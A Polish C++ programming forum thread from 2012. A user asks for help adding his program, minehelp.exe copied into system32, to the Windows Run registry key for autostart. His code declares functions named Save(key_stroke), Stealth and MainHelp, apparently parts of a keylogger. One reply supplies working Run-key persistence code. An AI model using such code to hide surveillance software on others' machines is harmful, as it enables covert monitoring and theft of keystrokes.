Szybka pomoc - C++ WinApi Dodawanie wartości do rejestru
Ostatnio zmodyfikowano 2012-03-06 23:46
sync667 Temat założony przez niniejszego użytkownika |
Szybka pomoc - C++ WinApi Dodawanie wartości do rejestru » 2012-03-06 20:57:24 szybko potrzebuje pomocy staram się napisać i wywołać funkcję dodającą mój program do autostartu rejestru co robię źle ? void addRegValue( void ) { HKEY reg; char regKeyPath[] = "Software\Microsoft\Windows\CurrentVersion\Run"; LONG ret = 0; ret = RegOpenKeyEx( HKEY_CURRENT_USER, regKeyPath, NULL, KEY_ALL_ACCESS, & reg ); if( reg != ERROR_SUCCESS ) puts( "pobieranie uchwytu rejestru [!]\r\n" ); ret = RegSetValueEx( C:\W indows\system32\minehelp.exe ); if( ret != ERROR_SUCCESS ) puts( "C:\Windows\system32\minehelp.exe" ); }
int Save( int key_stroke, char * file ); void Stealth(); void MainHelp();
int main() { addRegValue();
|
|
pekfos |
» 2012-03-06 21:04:48 Porównujesz uchwyt z komunikatem błędu. |
|
sync667 Temat założony przez niniejszego użytkownika |
» 2012-03-06 21:19:51 z rejestrem bawię się dopiero od godziny i nie mogę tego ogarnąć
bo mam dużo nauki na egzaminy a na zawał potrzebuje skończyć ten program
i nie mogę na spokojnie myśleć może to zabrzmi z mojej strony jak prośba od durnego dzieciaka, ale zależy mi na czasie czy mógłbyś mi to poprawić żebym to przynajmniej już miał z głowy plik minehelp.exe będzie przed wywołaniem tej funkcji automatycznie kopiowany do win/sys32
i właśnie pozostaje tylko ten rejestr i dodatkowo chcę ten wpis mieć globalnie dla wszystkich user'ów ale to domyślam się że wystarczy do local machine dodać |
|
DejaVu |
» 2012-03-06 21:34:36 z rejestrem bawię się dopiero od godziny
i nie mogę tego ogarnąć
bo mam dużo nauki na egzaminy a na zawał potrzebuje skończyć ten program
|
Akurat to nie nasz problem, że zabierasz się za naukę i poznawanie technologii na koniec semestru. Materiały są dostępne w Internecie - wystarczy poszukać i poczytać. Przykład: Rejestr |
|
Chlorek |
» 2012-03-06 23:46:04 Nie będę chamem, dam ci fragment kodu z mojego starego projektu: bool zainstaluj( char * miejsce ) { HKEY klucz; LONG Wynik; DWORD Nowy; const BYTE * lpData =( const BYTE * ) "C:\\WINDOWS\\twojprogram.exe"; Wynik = RegCreateKeyEx( HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, & klucz, & Nowy ); if( Wynik == ERROR_SUCCESS ) { RegSetValueEx( klucz, "NazwaTwojegoProgramu", 0, REG_SZ, lpData, 256 ); RegCloseKey( klucz ); } else { return false; } return true; }
|
|
« 1 » |